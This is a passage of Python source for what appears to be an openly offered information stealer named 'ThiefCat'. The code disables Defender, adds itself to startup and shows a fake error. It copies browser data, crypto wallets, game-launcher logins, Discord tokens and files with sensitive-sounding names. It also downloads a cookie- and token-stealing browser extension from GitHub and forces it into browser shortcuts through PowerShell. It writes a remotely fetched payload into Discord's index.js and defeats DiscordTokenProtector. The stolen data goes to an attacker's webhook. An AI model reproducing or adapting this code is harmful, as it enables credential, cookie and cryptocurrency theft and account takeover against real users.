                "am_ET": "AMH_",
                "tmz": "TMZ_",
                "ks_Arab_IN": "KSH_",
                "ne_NP": "NEP_",
                "fy_NL": "FRS_",
                "ps_AF": "PAS_",
                "fil_PH": "FIL_",
                "dv_MV": "DIV_",
                "bin_NG": "BEN_",
                "fuv_NG": "FUL_",
                "ha_Latn_NG": "HAU_",
                "ibb_NG": "IBO_",
                "yo_NG": "YOR_",
                "quz_BO": "QUB_",
                "nso_ZA": "NSO_",
                "ig_NG": "IBO_",
                "kr_NG": "KAN_",
                "gaz_ET": "ORO_",
                "ti_ER": "TIR_",
                "gn_PY": "GRN_",
                "haw_US": "HAW_",
                "la": "LAT_",
                "so_SO": "SOM_",
                "ii_CN": "III_",
                "pap_AN": "PAP_",
                "ug_Arab_CN": "UIG_",
                "mi_NZ": "MRI_",
                "ar_IQ": "ARA_",
                "zh_CN": "ZHO_",
                "de_CH": "DEU_",
                "es_MX": "SPA_",
                "fr_BE": "FRA_",
                "it_CH": "ITA_",
                "nl_BE": "NLD_",
                "nn_NO": "NNO_",
                "pt_PT": "POR_",
                "ro_MD": "RON_",
                "ru_MD": "RUS_",
                "sr_Latn_CS": "SRP_",
                "sv_FI": "SVE_",
                "ur_IN": "URD_",
                "az_Cyrl_AZ": "AZE_",
                "ga_IE": "GLE_",
                "ms_BN": "MAL_",
                "uz_Cyrl_UZ": "UZB_",
                "bn_BD": "BEN_",
                "pa_PK": "PAN_",
                "mn_Mong_CN": "MON_",
                "bo_BT": "BOD_",
                "sd_PK": "SND_",
                "tzm_Latn_DZ": "TZN_",
                "ks_Deva_IN": "KSH_",
                "ne_IN": "NEP_",
                "quz_EC": "QUE_",
                "ti_ET": "TIR_",
                "ar_EG": "ARA_",
                "zh_HK": "ZHO_",
                "de_AT": "DEU_",
                "en_AU": "ENG_",
                "fr_CA": "FR_",
                "sr_Cyrl_CS": "SRB_",
                "quz_PE": "QUE_",
                "ar_LY": "ARA_",
                "zh_SG": "CHN_",
                "de_LU": "GER_",
                "en_CA": "ENG_",
                "es_GT": "SPA_",
                "fr_CH": "FR_",
                "hr_BA": "HRV_",
                "ar_DZ": "ARA_",
                "zh_MO": "CHN_",
                "de_LI": "GER_",
                "th_TH": "TH_",
                "en_GB": "EN_",
                "ja_JP": "JAP_"
            }
            return lang_map.get(pc_code, "KS_")
        except:
            return "KS_"

    async def init(self):
        self.browsers = {
            "amigo": self.appdata + "\\Amigo\\User Data",
            "torch": self.appdata + "\\Torch\\User Data",
            "kometa": self.appdata + "\\Kometa\\User Data",
            "orbitum": self.appdata + "\\Orbitum\\User Data",
            "cent-browser": self.appdata + "\\CentBrowser\\User Data",
            "7star": self.appdata + "\\7Star\\7Star\\User Data",
            "sputnik": self.appdata + "\\Sputnik\\Sputnik\\User Data",
            "vivaldi": self.appdata + "\\Vivaldi\\User Data",
            "google-chrome-sxs": self.appdata + "\\Google\\Chrome SxS\\User Data",
            "google-chrome": self.appdata + "\\Google\\Chrome\\User Data",
            "epic-privacy-browser": self.appdata + "\\Epic Privacy Browser\\User Data",
            "microsoft-edge": self.appdata + "\\Microsoft\\Edge\\User Data",
            "uran": self.appdata + "\\uCozMedia\\Uran\\User Data",
            "yandex": self.appdata + "\\Yandex\\YandexBrowser\\User Data",
            "brave": self.appdata + "\\BraveSoftware\\Brave-Browser\\User Data",
            "iridium": self.appdata + "\\Iridium\\User Data",
            "edge": self.appdata + "\\Microsoft\\Edge\\User Data",
            "operaneon": self.roaming +  "\\Opera Software\\Opera Neon\\User Data",
            "operastable": self.roaming + "\\Opera Software\\Opera Stable",
            "operagx": self.roaming + "\\Opera Software\\Opera GX Stable",
        }
        self.profiles = [
            "Default",
            "Profile 1",
            "Profile 2",
            "Profile 3",
            "Profile 4",
            "Profile 5",
        ]

        #### ALL FUNC
        if self.thishawk_webh == "" or self.thishawk_webh == "\x57EBHOOK_HERE":
            self.thiefcat_ProcessStop()
        binder = threading.Thread(target=self.thread_bind)
        binder.start()
        self.thiefcat_HideYourself()
        self.ask_admin()
        self.thiefcat_DisableDefender()
        self.thiefcat_DoAFakeError()
        self.thiefcat_AddStartup()

        if self.find_in_config("SAEZRTYRES1") and AntiDebugg().inVM is True:
            self.thiefcat_ProcessStop()
        if self.find_in_config("AEZRETRYY5") == "yes":
            await self.thiefcat_BypassBetterDsc()
            await self.thiefcat_BypassTokenProtector()

        function_list = [
            self.thiefcat_TakeScreenshot,
            self.thiefcat_TakeCamera,
            self.thiefcat_GetWifi,
            self.thiefcat_GetTLGSession,
            self.thiefcat_GetClipboard,
            self.thiefcat_GetAllUSB,
            self.thiefcat_GetAntiVirus,
            self.thiefcat_GetSysInfo,
            self.thiefcat_GetToken,
            self.thiefcat_GetFilezilla,
            self.thiefcat_GetMinecraft,
            self.thiefcat_GetRoblox,
            self.thiefcat_GetGrowTopia,
            self.thiefcat_GetSensitive,
            self.thiefcat_GetSteam,
            self.thiefcat_GetWallet,
            self.thiefcat_GetUbisoft,
            self.thiefcat_GetEpicGame,
            self.detect_browsers,
            self.ping_on_running,
            self.soundlilvoice

        ]

        if self.find_in_config("killdiscord_config") is True:
            await self.kill_process_id()
        if self.Found_Browsers == "yes":
            os.makedirs(os.path.join(self.dir, "Browsers"), exist_ok=True)
        for name, path in self.browsers.items():
            if not os.path.isdir(path):
                continue
            self.masterkey = self.mykey_gtm(path + "\\Local State")
            self.funcs = [
                self.thiefcat_browsers1,
                self.thiefcat_browsers2,
                self.thiefcat_browsers3,
                self.thiefcat_browsers4,
                self.thiefcat_browsers5,
            ]

            try:
                t = threading.Thread(target=self.firefox())
                t.start()
            except:
                pass
            for profile in self.profiles:
                for func in self.funcs:
                    try:
                        func(name, path, profile)
                    except:
                        pass
                    try:
                        func(name, path)
                    except:
                        pass
        if os.path.exists(self.chrome_user_path) and self.chrome_key is not None:
            os.makedirs(os.path.join(self.dir, "Google"), exist_ok=True)
            function_list.extend([self.thiefcat_GetGoogle1, self.thiefcat_GetGoogle2, self.thiefcat_GetGoogle3])
        for func in function_list:
            process = threading.Thread(target=func, daemon=True)
            process.start()
        for t in threading.enumerate():
            try:
                t.join()
            except RuntimeError:
                continue
            
        self.install_extension()
        self.natify_matched_tokens()
        await self.finished_bc()
        self.injection_discord()
        
        
    def thiecat_burnthisprocess(self, prccsss):
        for Procss in psutil.process_iter():
            try:
                if Procss.name() == prccsss:
                    Procss.kill()
            except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
                pass

    def thiefcat_GetWallet(self):
        if self.Found_Crypto != "yes":
            return
        try:
            directory = os.path.join(self.dir, "Wallets")
            dir_wall = {
            "Zcash": os.path.join(roaming, "Zcash"),
            "Armory": os.path.join(roaming, "Armory"),
            "Bytecoin": os.path.join(roaming, "Bytecoin"),
            "Jaxx": os.path.join(roaming, "com.liberty.jaxx", "IndexedDB", "file_0.indexeddb.leveldb"),
            "Exodus": os.path.join(roaming, "Exodus", "exodus.wallet"),
            "Ethereum": os.path.join(roaming, "Ethereum", "keystore"),
            "Electrum": os.path.join(roaming, "Electrum", "wallets"),
            "AtomicWallet": os.path.join(roaming, "atomic", "Local Storage", "leveldb"),
            "Guarda": os.path.join(roaming, "Guarda", "Local Storage", "leveldb"),
            "Coinomi": os.path.join(local, "Coinomi", "Coinomi", "wallets"),
            }

            path_check = {
                    "Brave" : os.path.join(local, "BraveSoftware", "Brave-Browser", "User Data"),
                    "Chrome" : os.path.join(local, "Google", "Chrome", "User Data"),
                    "Chromium" : os.path.join(local, "Chromium", "User Data"),
                    "Comodo" : os.path.join(local, "Comodo", "Dragon", "User Data"),
                    "Edge" : os.path.join(local, "Microsoft", "Edge", "User Data"),
                    "EpicPrivacy" : os.path.join(local, "Epic Privacy Browser", "User Data"),
                    "Iridium" : os.path.join(local, "Iridium", "User Data"),
                    "Opera" : os.path.join(roaming, "Opera Software", "Opera Stable"),
                    "Opera GX" : os.path.join(roaming, "Opera Software", "Opera GX Stable"),
                    "Slimjet" : os.path.join(local, "Slimjet", "User Data"),
                    "UR" : os.path.join(local, "UR Browser", "User Data"),
                    "Vivaldi" : os.path.join(local, "Vivaldi", "User Data"),
                    "Yandex" : os.path.join(local, "Yandex", "YandexBrowser", "User Data")
                }

            for name, path in dir_wall.items():
                if os.path.isdir(path):
                    cryptowall_directory = os.path.join(directory, name)
                    os.makedirs(cryptowall_directory, exist_ok=True)
                    try:
                        shutil.copytree(path, os.path.join(cryptowall_directory, os.path.basename(path)), dirs_exist_ok=True)
                    except Exception:
                        pass

            for name, path in path_check.items():
                if os.path.isdir(path):
                    for root, dirs, _ in os.walk(path):
                        if "Local Extension Settings" in dirs:
                            extension_browsers_dir = os.path.join(root, "Local Extension Settings")
                            for ext_dir in inp2, inp1, inp3, inp4, inp5, inp6, inp7, inp8, inp9, inp10, inp11, inp12, inp13, inp14, inp15, inp16, inp17, inp18, inp19, inp20, inp21:
                                extension_dir = os.path.join(extension_browsers_dir, ext_dir)
                                if os.path.isdir(extension_dir) and os.listdir(extension_dir):
                                    if ext_dir in local_identifier:
                                        found = "{} - {}".format(local_identifier[ext_dir], name)
                                        directory_wall = os.path.join(directory, found)
                                        _directory = os.path.join(directory_wall, ext_dir)
                                        try:
                                            shutil.copytree(extension_dir, _directory, dirs_exist_ok=True)
                                        except Exception as e:
                                            pass
                                        else:
                                            if not os.listdir(directory_wall):
                                                shutil.rmtree(directory_wall)
        except:
            pass

    def thiefcat_GetSensitive(self):
        try:
            keywords = [
                "passw",
                "mdp",
                "motdepasse",
                "mot_de_" + "passe",
                "login",
                "secret",
                "acc" + "ount",
                "acount",
                "paypal",
                "banque",
                "met" + "amask",
                "wal" + "let",
                "crypto",
                "exodus",
                "2fa",
                "code",
                "memo",
                "compte",
                "token",
                "backup",
                "finance",
                "seecret",
                "bank",
                "credit",
            ]
            directories = ["Desktop", "Downloads", "Documents", "Pictures", "Videos", "Music"]
            max_file_size = 2 * 1024 * 1024  # 2 MB
            max_files = 4
            excluded_extensions = [".xml", ".cc", ".h", ".md", ".yml", ".mem", ".md", ".js", ".py", ".css", ".html", ".jre", ".c", ".cs", ".cpp", ".ps1", ".mjs", ".ejs", ".map", ".ts", "cmd", ".json"]
            user_home = os.path.expanduser("~")

            found_files = 0

            for directory in directories:
                path = os.path.join(user_home, directory)
                if os.path.exists(path):
                    for file in os.listdir(path):
                        file_path = os.path.join(path, file)
                        dest_directory = os.path.join(self.dir, "Sensitive")
                        if os.path.isfile(file_path) and os.path.getsize(file_path) <= max_file_size and not any(file.lower().endswith(ext) for ext in excluded_extensions):
                            for keyword in keywords:
                                if keyword in file.lower():
                                    if not os.path.exists(dest_directory):
                                        os.makedirs(dest_directory, exist_ok=True)
                                    shutil.copy2(file_path, dest_directory)
                                    found_files += 1
                                    if found_files >= max_files:
                                        return

        except Exception as e:
            pass

    def thiefcat_GetSteam(self):
        if self.launcher != "yes":
            return
        try:
            directory = os.path.join(self.dir, "Launcher", "Steam")
            steam_found = "C:\\Program Files (x86)\\Steam"
            config_found = os.path.join(steam_found, "config")
            login_file = os.path.join(config_found, "loginusers.vdf")
            if os.path.isdir(config_found) and os.path.isfile(login_file):
                with open(login_file) as file:
                    files_contents = file.read()
                    if '"RememberPassword"\t\t"1"' in files_contents:
                        try:
                            os.makedirs(directory, exist_ok=True)
                            shutil.copytree(config_found, os.path.join(directory, "config"), dirs_exist_ok=True)
                            for files in os.listdir(steam_found):
                                if files.startswith("ssfn") and os.path.isfile(os.path.join(steam_found, files)):
                                    shutil.copy(os.path.join(steam_found, files), os.path.join(directory, files))
                        except Exception:
                            pass
        except:
            pass

    def thiefcat_GetGrowTopia(self):
        if self.Found_Game != "yes":
            return
        try:
            growtopia = os.path.join(local, "Growtopia", "save.dat")
            directory = os.path.join(self.dir, "Games", "Growtopia")
            os.makedirs(directory, exist_ok=True)
            shutil.copy(growtopia, os.path.join(directory, "save.dat"))
        except:
            pass
        

    def thiefcat_GetEpicGame(self):
        if self.launcher != "yes":
            return
        try:
            directory = os.path.join(self.dir, "Launcher", "Epic")
            epicgame = os.path.join(local, "EpicGamesLauncher", "Saved", "Config", "Windows")
            config_file = os.path.join(epicgame, "GameUserSettings.ini")
            if os.path.isdir(epicgame) and os.path.isfile(config_file):
                with open(config_file) as file:
                    contents = file.read()
                if "[RememberMe]" in contents:
                    try:
                        os.makedirs(directory, exist_ok=True)
                        for file in os.listdir(epicgame):
                            if os.path.isfile(os.path.join(epicgame, file)):
                                shutil.copy(os.path.join(epicgame, file), os.path.join(directory, file))
                        shutil.copytree(epicgame, directory, dirs_exist_ok=True)
                    except Exception:
                        pass
        except:
            pass
    
    def thiefcat_GetUbisoft(self):
        if self.launcher != "yes":
            return
        try:
            directory = os.path.join(self.dir, "Launcher", "Ubisoft")
            ubisoft = os.path.join(local, "Ubisoft Game Launcher")
            if os.path.isdir(ubisoft):
                files = [file for file in os.listdir(ubisoft) if os.path.isfile(os.path.join(ubisoft, file))]
                if files:
                    os.makedirs(directory, exist_ok=True)
                    for file in files:
                        shutil.copy(os.path.join(ubisoft, file), os.path.join(directory, file))
        except:
            pass
            
    def detect_browsers(self):
        try:
            browser_executables = [
                os.path.join(os.environ.get('LOCALAPPDATA'), 'Programs', 'Opera', 'launcher.exe'),
                os.path.join(os.environ.get('PROGRAMFILES'), 'Opera', 'launcher.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'Opera', 'launcher.exe'),

                os.path.join(os.environ.get('PROGRAMFILES'), 'Opera GX', 'launcher.exe'),
                os.path.join(os.environ.get('LOCALAPPDATA'), 'Programs', 'Opera GX', 'launcher.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'Opera GX', 'launcher.exe'),

                os.path.join(os.environ.get('PROGRAMFILES'), 'Opera Neon', 'launcher.exe'),
                os.path.join(os.environ.get('LOCALAPPDATA'), 'Programs', 'Opera Neon', 'launcher.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'Opera Neon', 'launcher.exe'),

                os.path.join(os.environ.get('LOCALAPPDATA'), 'Programs', 'BraveSoftware', 'Brave-Browser', 'Application', 'brave.exe'),
                os.path.join(os.environ.get('PROGRAMFILES'), 'BraveSoftware', 'Brave-Browser', 'Application', 'brave.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'BraveSoftware', 'Brave-Browser', 'Application', 'brave.exe'),

                os.path.join(os.environ.get('LOCALAPPDATA'), 'Google', 'Chrome', 'Application', 'chrome.exe'),
                os.path.join(os.environ.get('PROGRAMFILES'), 'Google', 'Chrome', 'Application', 'chrome.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'Google', 'Chrome', 'Application', 'chrome.exe'),

                os.path.join(os.environ.get('PROGRAMFILES'), 'Vivaldi', 'Application', 'vivaldi.exe'),
                os.path.join(os.environ.get('LOCALAPPDATA'), 'Programs', 'Vivaldi', 'Application', 'vivaldi.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'Vivaldi', 'Application', 'Vivaldi.exe'),

                os.path.join(os.environ.get('LOCALAPPDATA'), 'Microsoft', 'Edge', 'Application', 'msedge.exe'),
                os.path.join(os.environ.get('PROGRAMFILES'), 'Microsoft', 'Edge', 'Application', 'msedge.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'Microsoft', 'Edge', 'Application', 'msedge.exe'),

                os.path.join(os.environ.get('LOCALAPPDATA'), 'Yandex', 'YandexBrowser', 'Application','browser.exe'),
                os.path.join(os.environ.get('PROGRAMFILES'), 'Yandex', 'YandexBrowser', 'Application','browser.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'Yandex', 'YandexBrowser', 'Application','browser.exe'),

                os.path.join(os.environ.get('LOCALAPPDATA'), 'Yandex', 'YandexBrowserBeta', 'Application','browser.exe'),
                os.path.join(os.environ.get('PROGRAMFILES'), 'Yandex', 'YandexBrowserBeta', 'Application','browser.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'Yandex', 'YandexBrowserBeta', 'Application','browser.exe'),

                os.path.join(os.environ.get('LOCALAPPDATA'), 'Yandex', 'YandexBrowserDev', 'Application','browser.exe'),
                os.path.join(os.environ.get('PROGRAMFILES'), 'Yandex', 'YandexBrowserDev', 'Application','browser.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'Yandex', 'YandexBrowserDev', 'Application','browser.exe'),

                os.path.join(os.environ.get('LOCALAPPDATA'), 'SRWare Iron', 'iron.exe'),
                os.path.join(os.environ.get('PROGRAMFILES'), 'SRWare Iron', 'iron.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'SRWare Iron', 'iron.exe'),

                os.path.join(os.environ.get('LOCALAPPDATA'), 'Kiwi', 'kiwi.exe'),
                os.path.join(os.environ.get('PROGRAMFILES'), 'Kiwi', 'kiwi.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'Kiwi', 'kiwi.exe'),

                os.path.join(os.environ.get('LOCALAPPDATA'), 'Torch', 'Application', 'torch.exe'),
                os.path.join(os.environ.get('PROGRAMFILES'), 'Torch', 'Application', 'torch.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'Torch', 'Application', 'torch.exe'),

                os.path.join(os.environ.get('LOCALAPPDATA'), 'Slimjet', 'slimjet.exe'),
                os.path.join(os.environ.get('PROGRAMFILES'), 'Slimjet', 'slimjet.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'Slimjet', 'slimjet.exe'),

                os.path.join(os.environ.get('LOCALAPPDATA'), 'Comodo', 'Dragon', 'dragon.exe'),
                os.path.join(os.environ.get('PROGRAMFILES'), 'Comodo', 'Dragon', 'dragon.exe'),
                os.path.join(os.environ.get('PROGRAMFILES(X86)'), 'Comodo', 'Dragon', 'dragon.exe')
            ]
            for browser_executable in browser_executables:
                if os.path.exists(browser_executable):
                    if 'Opera GX' in browser_executable:
                        self.operagx = True
                    elif 'Opera' in browser_executable:
                        self.opera = True
                    elif 'Brave' in browser_executable:
                        self.brave = True
                    elif 'Chrome' in browser_executable:
                        self.chrome = True
                    elif 'vivaldi' in browser_executable.lower():
                        self.vivaldi = True
                    elif 'msedge' in browser_executable.lower():
                        self.edge = True
                    elif 'yandex' in browser_executable.lower():
                        self.yandex = True
                    elif 'iron' in browser_executable.lower():
                        self.iron = True
                    elif 'kiwi' in browser_executable.lower():
                        self.kiwi = True
                    elif 'Torch' in browser_executable.lower():
                        self.torch = True
                    elif 'Slimjet' in browser_executable.lower():
                        self.slimjet = True
                    elif 'Dragon' in browser_executable.lower():
                        self.dragon = True
                    elif 'Opera Neon' in browser_executable.lower():
                        self.operaneon = True
        except:
            pass

    def install_extension(self):
        if self.find_in_config("chromenject_config") != "yes":
            return
        try:
            for browser, process_name in self.browser_processes.items():
                if process_name in (p.name() for p in psutil.process_iter()):
                    self.thiecat_burnthisprocess(process_name)

                    
            extensions = {
                'extensions': f'https://github.com/KSCH-58/Chromium-Injection/raw/main/extensions.zip'
            }
            for extension_name, github_repo in extensions.items():
                extensions_path = os.path.join(self.programdata, 'GoogleChromeExtensions')
                extension_path = os.path.join(self.programdata, 'GoogleChromeExtensions', extension_name)
                response = requests.get(github_repo)
                zip_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), f'{extension_name}.zip')
            with open(zip_path, 'wb') as f:
                f.write(response.content)
            with zipfile.ZipFile(zip_path, 'r') as zip_ref:
                zip_ref.extractall(extension_path)
                time.sleep(1)
                main_file = os.path.join(extension_path, "extension-tokens", 'js', 'background.js')
                main_file2 = os.path.join(extension_path, "extension-cookies", 'scripts', 'background.js')

                with open(main_file, 'r') as f:
                    filedata = f.read()
                    if self.apilink != "%\u200BAPI_LINK%" and self.apilink != "" and self.apilink != " ":
                        newdata = filedata.replace('%API_URL%', self.apilink)
                    else:
                        newdata = filedata.replace('%WEBHOOK%', self.thishawk_webh)
                with open(main_file, 'w') as f:
                    f.write(newdata)
                    f.close()
                with open(main_file2, 'r') as f:
                    filedata = f.read()
                    if self.apilink != "%\u200BAPI_LINK%" and self.apilink != "" and self.apilink != " ":
                        newdata = filedata.replace('%API_URL%', self.apilink)
                    else:
                        newdata = filedata.replace('%WEBHOOK%', self.thishawk_webh)
                with open(main_file2, 'w') as f:
                    f.write(newdata)
                    f.close()
            os.remove(zip_path)
            if shell32.IsUserAnAdmin() == 0:
                    pass
            else:
                try:        

                    for shortcut_name in ['Google Chrome', 'Opera', 'Opera GX', 'Opera Neon', 'Comodo Dragon', 'Slimjet', 'Torch Browser', 'Brave', 'Vivaldi', 'Microsoft Edge', 'Yandex Browser', 'SRWare Iron', 'Kiwi Browser']:
                        shortcut_path = self.path_shortcutnav_roaming.get(shortcut_name)
                        if shortcut_path:
                            if (shortcut_name == 'Google Chrome' and self.chrome) or \
                                    (shortcut_name == 'Opera' and self.opera) or \
                                    (shortcut_name == 'Opera GX' and self.operagx) or \
                                    (shortcut_name == 'Brave' and self.brave) or \
                                    (shortcut_name == 'Vivaldi' and self.vivaldi) or \
                                    (shortcut_name == 'Microsoft Edge' and self.edge) or \
                                    (shortcut_name == 'Yandex Browser' and self.yandex) or \
                                    (shortcut_name == 'SRWare Iron' and self.iron) or \
                                    (shortcut_name == 'Opera Neon' and self.operaneon) or \
                                    (shortcut_name == 'Comodo Dragon' and self.dragon) or \
                                    (shortcut_name == 'Torch Browser' and self.torch) or \
                                    (shortcut_name == 'Slimjet' and self.slimjet) or \
                                    (shortcut_name == 'Kiwi Browser' and self.kiwi):
                                shortcut_dir = os.path.dirname(shortcut_path)
                                if os.path.exists(shortcut_dir):
                                    powershell_command = (
                                    f'$WshShell = New-Object -comObject WScript.Shell; '
                                    f'$Shortcut = $WshShell.CreateShortcut("{shortcut_path}"); '
                                    f'$Shortcut.Arguments = "--load-extension={extensions_path}/{extension_name}/extension-cookies,{extensions_path}/{extension_name}/extension-tokens"; '
                                    f'$Shortcut.Save()'
                                    )
                                    try:
                                        Popen(["powershell", "-Command", powershell_command], creationflags=CREATE_NEW_CONSOLE)
                                        time.sleep(2)
                                    except Exception as e:
                                        time.sleep(2)
                                        pass
                except Exception as e:
                    pass

                try:
                    for shortcut_name in ['Google Chrome', 'Opera', 'Opera GX', 'Opera Neon', 'Comodo Dragon', 'Slimjet', 'Torch Browser', 'Brave', 'Vivaldi', 'Microsoft Edge', 'Yandex Browser', 'SRWare Iron', 'Kiwi Browser']:
                        shortcut_path = self.path_shortcutnav_programdata.get(shortcut_name)
                        if shortcut_path:
                            if (shortcut_name == 'Google Chrome' and self.chrome) or \
                                    (shortcut_name == 'Opera' and self.opera) or \
                                    (shortcut_name == 'Opera GX' and self.operagx) or \
                                    (shortcut_name == 'Brave' and self.brave) or \
                                    (shortcut_name == 'Vivaldi' and self.vivaldi) or \
                                    (shortcut_name == 'Microsoft Edge' and self.edge) or \
                                    (shortcut_name == 'Yandex Browser' and self.yandex) or \
                                    (shortcut_name == 'SRWare Iron' and self.iron) or \
                                    (shortcut_name == 'Opera Neon' and self.operaneon) or \
                                    (shortcut_name == 'Comodo Dragon' and self.dragon) or \
                                    (shortcut_name == 'Torch Browser' and self.torch) or \
                                    (shortcut_name == 'Slimjet' and self.slimjet) or \
                                    (shortcut_name == 'Kiwi Browser' and self.kiwi):
                                shortcut_dir = os.path.dirname(shortcut_path)
                                if os.path.exists(shortcut_dir):
                                    powershell_command = (
                                    f'$WshShell = New-Object -comObject WScript.Shell; '
                                    f'$Shortcut = $WshShell.CreateShortcut("{shortcut_path}"); '
                                    f'$Shortcut.Arguments = "--load-extension={extensions_path}/{extension_name}/extension-cookies,{extensions_path}/{extension_name}/extension-tokens"; '
                                    f'$Shortcut.Save()'
                                    )
                                    try:
                                        Popen(["powershell", "-Command", powershell_command], creationflags=CREATE_NEW_CONSOLE)
                                        time.sleep(2)
                                    except Exception as e:
                                        time.sleep(2)
                                        pass
                except Exception as e:
                    pass

                try:
                    for shortcut_name in ['Google Chrome', 'Opera', 'Opera GX', 'Opera Neon', 'Comodo Dragon', 'Slimjet', 'Torch Browser', 'Brave', 'Vivaldi', 'Microsoft Edge', 'Yandex Browser', 'SRWare Iron', 'Kiwi Browser']:
                        shortcut_path = self.path_shortcutnav_additionnal.get(shortcut_name)
                        if shortcut_path:
                            if (shortcut_name == 'Google Chrome' and self.chrome) or \
                                    (shortcut_name == 'Opera' and self.opera) or \
                                    (shortcut_name == 'Opera GX' and self.operagx) or \
                                    (shortcut_name == 'Brave' and self.brave) or \
                                    (shortcut_name == 'Vivaldi' and self.vivaldi) or \
                                    (shortcut_name == 'Microsoft Edge' and self.edge) or \
                                    (shortcut_name == 'Yandex Browser' and self.yandex) or \
                                    (shortcut_name == 'SRWare Iron' and self.iron) or \
                                    (shortcut_name == 'Opera Neon' and self.operaneon) or \
                                    (shortcut_name == 'Comodo Dragon' and self.dragon) or \
                                    (shortcut_name == 'Torch Browser' and self.torch) or \
                                    (shortcut_name == 'Slimjet' and self.slimjet) or \
                                    (shortcut_name == 'Kiwi Browser' and self.kiwi):
                                shortcut_dir = os.path.dirname(shortcut_path)
                                if os.path.exists(shortcut_dir):
                                    powershell_command = (
                                    f'$WshShell = New-Object -comObject WScript.Shell; '
                                    f'$Shortcut = $WshShell.CreateShortcut("{shortcut_path}"); '
                                    f'$Shortcut.Arguments = "--load-extension={extensions_path}/{extension_name}/extension-cookies,{extensions_path}/{extension_name}/extension-tokens"; '
                                    f'$Shortcut.Save()'
                                    )
                                    try:
                                        Popen(["powershell", "-Command", powershell_command], creationflags=CREATE_NEW_CONSOLE)
                                        time.sleep(2)
                                    except Exception as e:
                                        time.sleep(2)
                                        pass
                except Exception as e:
                    pass
        except Exception as e:
            pass

    def injection_discord(self):
        if self.find_in_config("AEZRETRYY5") != "yes":
            return
        try:
            discord_paths = [
                os.path.join(self.appdata, p)
                for p in os.listdir(self.appdata)
                if "discord" in p.lower()
            ]
            for discord_path in discord_paths:
                app_paths = [
                    os.path.join(discord_path, p)
                    for p in os.listdir(discord_path)
                    if re.match(r"app-(\d*\.\d*)*", p)
                ]
                for app_path in app_paths:
                    modules_path = os.path.join(app_path, "modules")
                    if not os.path.exists(modules_path):
                        continue
                    injpt58s = [
                        os.path.join(modules_path, p)
                        for p in os.listdir(modules_path)
                        if re.match(fr"{coresecretname}-\d+", p)
                    ]
                    for injpt58 in injpt58s:
                        for root, dirs, files in os.walk(injpt58):
                            if "index.js" in files:
                                idx_path = os.path.join(root, "index.js")
                        if self.localstartup not in argv[0]:
                            for injpt58 in injpt58s:
                                for root, dirs, files in os.walk(injpt58):
                                    if "index.js" in files:
                                        os.makedirs(os.path.join(root, "ThiefCat"), exist_ok=True)
                        if self.webapi_find in self.thishawk_webh:
                            core_asar = self.find_in_config("url_hawkinject")
                            try:
                                f = httpx.get(core_asar, verify=False).text
                                if self.apilink != "%\u200BAPI_LINK%" and self.apilink != "" and self.apilink != " ":
                                    f = f.replace("%API_URL%", self.apilink)
                                    f = f.replace("%NAME_CREATOR%", self.str_creator_)
                                    f = f.replace("%TRANSFER_URL%", self.thezip_url.replace("\n", ""))
                                    f = f.replace("\n\n", "\n")
                                else:
                                    f = f.replace("%WEBHOOK%", self.thishawk_webh)
                                    f = f.replace("%NAME_CREATOR%", self.str_creator_)
                                    f = f.replace("%TRANSFER_URL%", self.thezip_url.replace("\n", ""))
                                    f = f.replace("\n\n", "\n")
                            except AttributeError:
                                pass
                        try:
                            with open(idx_path, "w", errors="ignore", newline="") as indexdiscfile:
                                indexdiscfile.write(f.rstrip('\r\n'))
                        except PermissionError:
                            pass
                    
                        if self.find_in_config("killdiscord_config"):
                            file_name = os.path.splitext(os.path.basename(discord_path))[0]
                            app_exe = os.path.join(app_path, file_name + ".exe")
                            if not os.path.isabs(app_exe):
                                raise ValueError(f"Invalid path: {app_exe}")
                            cmd = [app_exe]
                            try:
                                subprocess.run(cmd, check=True)
                            except subprocess.CalledProcessError:
                                pass
                            except FileNotFoundError:
                                pass
                            except Exception:               
                                pass
        except:
            pass

    def soundlilvoice(self):
        if self.soundedornot != 'yes':
            return
        try:
            ...
            """response = requests.get('https://anonfiles.com/ca048cx0z3/hawkish_mp3')
            if response.status_code == 200:
                with open(self.roaming, "thiefced", "sound.mp3", 'wb') as file:
                    file.write(response.content)
                command = f'powershell -WindowStyle Hidden -c "Start-Process \'{os.path.join(self.roaming, "thiefced", "sound.mp3")}\'"'
                subprocess.run(command, shell=True)
                time.sleep(0.5)
                hide = win32gui.GetForegroundWindow()
                win32gui.ShowWindow(hide, win32con.SW_HIDE)
            else:
                pass"""
        except:
            pass

    async def thiefcat_BypassTokenProtector(self):
        try:
            tp = os.path.join(self.roaming, "DiscordTokenProtector")
            config = os.path.join(tp, "config.json")
            if not os.path.exists(tp) or not os.path.isdir(tp) or not os.path.isfile(config):
                return
            for i in ["DiscordTokenProtector.exe", "ProtectionPayload.dll", "secure.dat"]:
                try:
                    os.remove(os.path.join(tp, i))
                except FileNotFoundError:
                    pass
            with open(config, "r", errors="ignore") as f:
                try:
                    item = json.load(f)
                except json.decoder.JSONDecodeError:
                    return
            item[f"{NotKSCH58}_is_here"] = f"https://github.com/KSCH-58"
            item["auto_start"] = False
            item["auto_start_discord"] = False
            item["integrity"] = False
            item["integrity_allowbetterdiscord"] = False
            item["integrity_checkexecutable"] = False
            item["integrity_checkhash"] = False
            item["integrity_checkmodule"] = False
            item["integrity_checkscripts"] = False
            item["integrity_checkresource"] = False
            item["integrity_redownloadhashes"] = False
            item["iterations_iv"] = 364
            item["iterations_key"] = 457
            item["version"] = 69420
            with open(config, "w") as f:
                json.dump(item, f, indent=2, sort_keys=True)
                f.write(f"\n\n//{NotKSCH58}_is_here | https://github.com/KSCH-58")
